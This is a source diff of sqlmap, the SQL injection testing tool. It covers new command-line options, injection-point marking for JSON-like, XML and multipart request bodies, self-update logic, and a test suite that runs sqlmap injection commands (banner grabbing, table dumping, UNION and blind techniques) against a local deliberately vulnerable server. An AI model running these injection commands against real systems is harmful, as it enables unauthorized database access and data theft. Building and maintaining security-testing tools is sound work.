||||
"forceSSL": "boolean",
|
||||
"chunked": "boolean",
|
||||
"hpp": "boolean",
|
||||
@@ -201,6 +203,8 @@ optDict = {
|
||||
"trafficFile": "string",
|
||||
"answers": "string",
|
||||
"batch": "boolean",
|
||||
"base64Parameter": "string",
|
||||
"base64Safe": "boolean",
|
||||
"binaryFields": "string",
|
||||
"charset": "string",
|
||||
"checkInternet": "boolean",
|
||||
@@ -219,10 +223,12 @@ optDict = {
|
||||
"hexConvert": "boolean",
|
||||
"outputDir": "string",
|
||||
"parseErrors": "boolean",
|
||||
"postprocess": "string",
|
||||
"preprocess": "string",
|
||||
"repair": "boolean",
|
||||
"saveConfig": "string",
|
||||
"scope": "string",
|
||||
"skipHeuristics": "boolean",
|
||||
"skipWaf": "boolean",
|
||||
"testFilter": "string",
|
||||
"testSkip": "string",
|
||||
|
||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import random
|
||||
|
||||
import lib.controller.checks
|
||||
@@ -52,7 +53,7 @@ def dirtyPatches():
|
||||
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||
|
||||
def _send_output(self, *args, **kwargs):
|
||||
if conf.chunked and "encode_chunked" in kwargs:
|
||||
if conf.get("chunked") and "encode_chunked" in kwargs:
|
||||
kwargs["encode_chunked"] = False
|
||||
self.__send_output(*args, **kwargs)
|
||||
|
||||
@@ -76,6 +77,15 @@ def dirtyPatches():
|
||||
# to prevent too much "guessing" in case of binary data retrieval
|
||||
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
||||
|
||||
# https://github.com/sqlmapproject/sqlmap/issues/4314
|
||||
try:
|
||||
os.urandom(1)
|
||||
except NotImplemented:
|
||||
if six.PY3:
|
||||
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
|
||||
else:
|
||||
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
|
||||
|
||||
def resolveCrossReferences():
|
||||
"""
|
||||
Place for cross-reference resolution
|
||||
|
||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
||||
from thirdparty.six import unichr as _unichr
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.4.3.0"
|
||||
VERSION = "1.4.12.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
|
||||
# Timeout used in heuristic check for WAF/IPS protected targets
|
||||
IPS_WAF_CHECK_TIMEOUT = 10
|
||||
|
||||
# Timeout used in checking for existence of live-cookies file
|
||||
LIVE_COOKIES_TIMEOUT = 120
|
||||
|
||||
# Lower and upper values for match ratio in case of stable page
|
||||
LOWER_RATIO_BOUND = 0.02
|
||||
UPPER_RATIO_BOUND = 0.98
|
||||
@@ -66,9 +69,11 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
||||
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
||||
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
|
||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||
DOLLAR_MARKER = "__DOLLAR__"
|
||||
|
||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||
@@ -249,7 +254,7 @@ PYVERSION = sys.version.split()[0]
|
||||
IS_WIN = PLATFORM == "nt"
|
||||
|
||||
# Check if running in terminal
|
||||
IS_TTY = os.isatty(sys.stdout.fileno())
|
||||
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
|
||||
|
||||
# DBMS system databases
|
||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
||||
@@ -605,7 +610,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
|
||||
# Period after last-update to start nagging about the old revision
|
||||
LAST_UPDATE_NAGGING_DAYS = 60
|
||||
LAST_UPDATE_NAGGING_DAYS = 180
|
||||
|
||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||
@@ -816,7 +821,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||
|
||||
# Regular expression used for detecting JSON-like POST data
|
||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
|
||||
|
||||
# Regular expression used for detecting multipart POST data
|
||||
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
||||
@@ -917,7 +922,18 @@ for key, value in os.environ.items():
|
||||
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
||||
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
||||
if _ in globals():
|
||||
globals()[_] = value
|
||||
original = globals()[_]
|
||||
if isinstance(original, int):
|
||||
try:
|
||||
globals()[_] = int(value)
|
||||
except ValueError:
|
||||
pass
|
||||
elif isinstance(original, bool):
|
||||
globals()[_] = value.lower() in ('1', 'true')
|
||||
elif isinstance(original, (list, tuple)):
|
||||
globals()[_] = [__.strip() for __ in _.split(',')]
|
||||
else:
|
||||
globals()[_] = value
|
||||
|
||||
# Installing "reversible" unicode (decoding) error handler
|
||||
def _reversible(ex):
|
||||
|
||||
@@ -111,7 +111,7 @@ def _setRequestParams():
|
||||
def process(match, repl):
|
||||
retVal = match.group(0)
|
||||
|
||||
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
|
||||
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
|
||||
retVal = repl
|
||||
while True:
|
||||
_ = re.search(r"\\g<([^>]+)>", retVal)
|
||||
@@ -120,7 +120,7 @@ def _setRequestParams():
|
||||
else:
|
||||
break
|
||||
if kb.customInjectionMark in retVal:
|
||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
|
||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -145,6 +145,7 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.JSON
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
@@ -159,8 +160,6 @@ def _setRequestParams():
|
||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||
|
||||
kb.postHint = POST_HINT.JSON
|
||||
|
||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||
message = "JSON-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
@@ -169,13 +168,16 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.JSON_LIKE
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.JSON_LIKE
|
||||
if '"' in conf.data:
|
||||
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
|
||||
else:
|
||||
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||
|
||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||
message = "Array-like data found in %s body. " % conf.method
|
||||
@@ -185,12 +187,11 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||
|
||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||
message = "SOAP/XML data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
@@ -199,13 +200,12 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||
|
||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||
message = "Multipart-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
@@ -214,13 +214,12 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.MULTIPART
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.MULTIPART
|
||||
|
||||
if not kb.postHint:
|
||||
if kb.customInjectionMark in conf.data: # later processed
|
||||
pass
|
||||
@@ -401,7 +400,7 @@ def _setRequestParams():
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if conf.csrfToken:
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
@@ -18,7 +18,6 @@ import threading
|
||||
import time
|
||||
|
||||
from extra.vulnserver import vulnserver
|
||||
from lib.core.common import clearColors
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import randomInt
|
||||
@@ -40,15 +39,20 @@ def vulnTest():
|
||||
|
||||
TESTS = (
|
||||
("-h", ("to see full list of options run with '-hh'",)),
|
||||
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||
("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
|
||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||
("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
|
||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
|
||||
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
|
||||
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
||||
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||
@@ -86,9 +90,13 @@ def vulnTest():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
s.connect((address, port))
|
||||
break
|
||||
s.send(b"GET / HTTP/1.0\r\n\r\n")
|
||||
if b"vulnserver" in s.recv(4096):
|
||||
break
|
||||
except:
|
||||
time.sleep(1)
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||
os.close(handle)
|
||||
@@ -121,18 +129,25 @@ def vulnTest():
|
||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
|
||||
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||
for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
||||
options = options.replace(tag, value)
|
||||
|
||||
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||
|
||||
if "<tmp>" in cmd:
|
||||
handle, tmp = tempfile.mkstemp()
|
||||
os.close(handle)
|
||||
cmd = cmd.replace("<tmp>", tmp)
|
||||
|
||||
if "<piped>" in cmd:
|
||||
cmd = re.sub(r"<piped>\s*", "", cmd)
|
||||
cmd = "echo %s | %s" % (url, cmd)
|
||||
|
||||
output = shellExec(cmd)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
dataToStdout("%s---\n" % output, coloring=False)
|
||||
retVal = False
|
||||
|
||||
count += 1
|
||||
@@ -233,7 +248,7 @@ def bedTest():
|
||||
if check not in output:
|
||||
print(cmd, check)
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
dataToStdout("%s---\n" % output, coloring=False)
|
||||
retVal = False
|
||||
|
||||
count += 1
|
||||
@@ -297,7 +312,7 @@ def fuzzTest():
|
||||
|
||||
if "Traceback" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
dataToStdout("%s---\n" % output, coloring=False)
|
||||
|
||||
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||
os.close(handle)
|
||||
@@ -327,7 +342,7 @@ def smokeTest():
|
||||
count, length = 0, 0
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||
continue
|
||||
|
||||
for filename in files:
|
||||
@@ -335,7 +350,7 @@ def smokeTest():
|
||||
length += 1
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||
continue
|
||||
|
||||
for filename in files:
|
||||
|
||||
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
||||
except Exception as ex:
|
||||
from lib.core.common import getSafeExString
|
||||
|
||||
if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
|
||||
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
|
||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||
|
||||
|
||||
@@ -14,6 +14,7 @@ import time
|
||||
import zipfile
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import getLatestRevision
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import openFile
|
||||
@@ -27,6 +28,7 @@ from lib.core.revision import getRevisionNumber
|
||||
from lib.core.settings import GIT_REPOSITORY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import TYPE
|
||||
from lib.core.settings import ZIPBALL_PAGE
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
@@ -36,7 +38,34 @@ def update():
|
||||
|
||||
success = False
|
||||
|
||||
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
|
||||
if TYPE == "pip":
|
||||
infoMsg = "updating sqlmap to the latest stable version from the "
|
||||
infoMsg += "PyPI repository"
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "sqlmap will try to update itself using 'pip' command"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
|
||||
|
||||
output = ""
|
||||
try:
|
||||
process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
|
||||
pollProcess(process, True)
|
||||
output, _ = process.communicate()
|
||||
success = not process.returncode
|
||||
except Exception as ex:
|
||||
success = False
|
||||
output = getSafeExString(ex)
|
||||
finally:
|
||||
output = getText(output)
|
||||
|
||||
if success:
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output)))
|
||||
else:
|
||||
logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
|
||||
|
||||
elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
|
||||
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
|
||||
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
|
||||
logger.warn(warnMsg)
|
||||
@@ -95,6 +124,7 @@ def update():
|
||||
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
|
||||
except OSError:
|
||||
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
|
||||
|
||||
else:
|
||||
infoMsg = "updating sqlmap to the latest development revision from the "
|
||||
infoMsg += "GitHub repository"
|
||||
|
||||
@@ -168,6 +168,9 @@ def cmdLineParser(argv=None):
|
||||
request.add_argument("--cookie-del", dest="cookieDel",
|
||||
help="Character used for splitting cookie values (e.g. ;)")
|
||||
|
||||
request.add_argument("--live-cookies", dest="liveCookies",
|
||||
help="Live cookies file used for loading up-to-date values")
|
||||
|
||||
request.add_argument("--load-cookies", dest="loadCookies",
|
||||
help="File containing cookies in Netscape/wget format")
|
||||
|
||||
@@ -267,6 +270,9 @@ def cmdLineParser(argv=None):
|
||||
request.add_argument("--csrf-method", dest="csrfMethod",
|
||||
help="HTTP method to use during anti-CSRF token page visit")
|
||||
|
||||
request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
|
||||
help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
|
||||
|
||||
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
||||
help="Force usage of SSL/HTTPS")
|
||||
|
||||
@@ -616,6 +622,12 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--answers", dest="answers",
|
||||
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
||||
|
||||
general.add_argument("--base64", dest="base64Parameter",
|
||||
help="Parameter(s) containing Base64 encoded data")
|
||||
|
||||
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
|
||||
help="Use URL and filename safe Base64 alphabet (RFC 4648)")
|
||||
|
||||
general.add_argument("--batch", dest="batch", action="store_true",
|
||||
help="Never ask for user input, use the default behavior")
|
||||
|
||||
@@ -674,7 +686,10 @@ def cmdLineParser(argv=None):
|
||||
help="Parse and display DBMS error messages from responses")
|
||||
|
||||
general.add_argument("--preprocess", dest="preprocess",
|
||||
help="Use given script(s) for preprocessing of response data")
|
||||
help="Use given script(s) for preprocessing (request)")
|
||||
|
||||
general.add_argument("--postprocess", dest="postprocess",
|
||||
help="Use given script(s) for postprocessing (response)")
|
||||
|
||||
general.add_argument("--repair", dest="repair", action="store_true",
|
||||
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
||||
@@ -685,6 +700,9 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--scope", dest="scope",
|
||||
help="Regexp for filtering targets")
|
||||
|
||||
general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true",
|
||||
help="Skip heuristic detection of SQLi/XSS vulnerabilities")
|
||||
|
||||
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
||||
help="Skip heuristic detection of WAF/IPS protection")
|
||||
|
||||
@@ -746,9 +764,6 @@ def cmdLineParser(argv=None):
|
||||
help="Simple wizard interface for beginner users")
|
||||
|
||||
# Hidden and/or experimental options
|
||||
parser.add_argument("--base64", dest="base64Parameter",
|
||||
help=SUPPRESS) # "Parameter(s) containing Base64 encoded values"
|
||||
|
||||
parser.add_argument("--crack", dest="hashFile",
|
||||
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
|
||||
|
||||
@@ -761,6 +776,9 @@ def cmdLineParser(argv=None):
|
||||
parser.add_argument("--debug", dest="debug", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--disable-multi", dest="disableMulti", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
@@ -854,7 +872,7 @@ def cmdLineParser(argv=None):
|
||||
_ = []
|
||||
advancedHelp = True
|
||||
extraHeaders = []
|
||||
tamperIndex = None
|
||||
auxIndexes = {}
|
||||
|
||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||
for arg in argv:
|
||||
@@ -913,18 +931,25 @@ def cmdLineParser(argv=None):
|
||||
except ValueError as ex:
|
||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
||||
|
||||
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||
|
||||
for i in xrange(len(argv)):
|
||||
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||
# Reference: https://en.wiktionary.org/wiki/-
|
||||
argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
|
||||
|
||||
# Reference: https://unicode-table.com/en/sets/quotation-marks/
|
||||
argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
|
||||
|
||||
if argv[i] == "-hh":
|
||||
argv[i] = "-h"
|
||||
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
||||
argv[i] = "--url=%s" % argv[i]
|
||||
